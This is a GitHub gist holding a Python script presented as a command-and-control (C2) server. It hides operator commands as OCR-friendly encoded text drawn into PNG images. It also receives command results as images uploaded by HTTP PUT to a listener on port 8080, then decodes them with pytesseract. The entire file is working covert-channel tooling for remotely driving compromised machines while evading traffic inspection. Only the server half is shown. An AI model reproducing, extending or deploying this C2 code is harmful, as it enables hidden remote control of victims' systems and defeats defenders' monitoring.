Created
September 23, 2019 14:06
-
-
Save adenkiewicz/1e4a4c9873f03c814c0df4118870a609 to your computer and use it in GitHub Desktop.
C2 server based on pytesseract
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import base64 | |
import http.server | |
from threading import Thread, Condition | |
from PIL import Image, ImageDraw, ImageFont | |
import pytesseract | |
condition = Condition() | |
response_file = "/tmp/response.png" | |
response_sent = False | |
class RequestHandler(http.server.SimpleHTTPRequestHandler): | |
def do_PUT(self): | |
global response_sent | |
global condition | |
try: | |
condition.acquire() | |
length = int(self.headers["Content-Length"]) | |
if length > 5: | |
with open(response_file, "wb") as f: | |
f.write(self.rfile.read(length)) | |
response_sent = True | |
condition.notify() | |
finally: | |
condition.release() | |
def log_message(self, format, *args): | |
return | |
class Encoder: | |
encoding = {} | |
def __init__(self): | |
self.encoding["l"] = ".A" | |
self.encoding["1"] = ".B" | |
self.encoding["L"] = ".C" | |
self.encoding["i"] = ".D" | |
self.encoding["I"] = ".E" | |
self.encoding["o"] = ".F" | |
self.encoding["O"] = ".G" | |
self.encoding["0"] = ".H" | |
self.encoding["w"] = ".J" | |
self.encoding["W"] = ".K" | |
self.encoding["="] = ".Q" | |
def encode(self, cmd): | |
b64 = base64.b64encode(cmd.encode()) | |
for key, val in self.encoding.items(): | |
b64 = b64.replace(key.encode(), val.encode()) | |
return b64.decode() | |
def decode(self, b64): | |
for key, val in self.encoding.items(): | |
b64 = b64.replace(val, key) | |
# append extra '==' to make sure Python doesn't throw encoding errors | |
b64 = b64 + "==" | |
return base64.b64decode(b64) | |
def create_img(cmd): | |
filename = "image.png" | |
image = Image.new(mode="RGBA", size=(3000, 200), color="black") | |
encoder = Encoder() | |
draw = ImageDraw.Draw(image) | |
font = ImageFont.truetype("calibrib.ttf", 70) | |
draw.text((15, 5), encoder.encode(cmd), (255, 255, 255), font=font) | |
image.save(filename) | |
def read_img(): | |
b64 = pytesseract.image_to_string( | |
Image.open(response_file), | |
lang='calibri', | |
config="--oem 0 -c tessedit_char_whitelist='./+=23456789ABCDEFGHJKMNPQRSTUVXYZabcdefghjkmnpqrstuvxyz' --psm 13") | |
encoder = Encoder() | |
return encoder.decode(b64) | |
def webserver(): | |
server = http.server.HTTPServer(('0.0.0.0', 8080), RequestHandler) | |
server.serve_forever() | |
if __name__ == "__main__": | |
thread = Thread(target=webserver) | |
thread.start() | |
while True: | |
cmd = input("\ncommand> ") | |
create_img(cmd) | |
condition.acquire() | |
condition.wait() | |
if (response_sent): | |
response = read_img() | |
if response is None: | |
print("Error> response couldn't be decoded") | |
else: | |
try: | |
print("response> {}".format(response.decode("utf-8"))) | |
except Exception: | |
try: | |
print("response> {}".format(response.decode("utf-16"))) | |
except Exception: | |
print(b"%b" % response) | |
else: | |
print("Error> command couldn't be decoded") | |
response_sent = False | |
thread.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment